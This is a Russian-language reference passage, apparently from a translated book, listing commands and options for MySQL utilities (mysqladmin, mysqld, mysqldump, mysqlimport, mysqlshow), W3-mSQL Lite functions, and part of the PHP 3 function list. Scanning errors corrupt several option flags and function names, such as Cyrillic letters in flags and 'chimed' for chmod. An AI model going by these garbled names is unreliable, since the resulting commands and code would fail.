    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

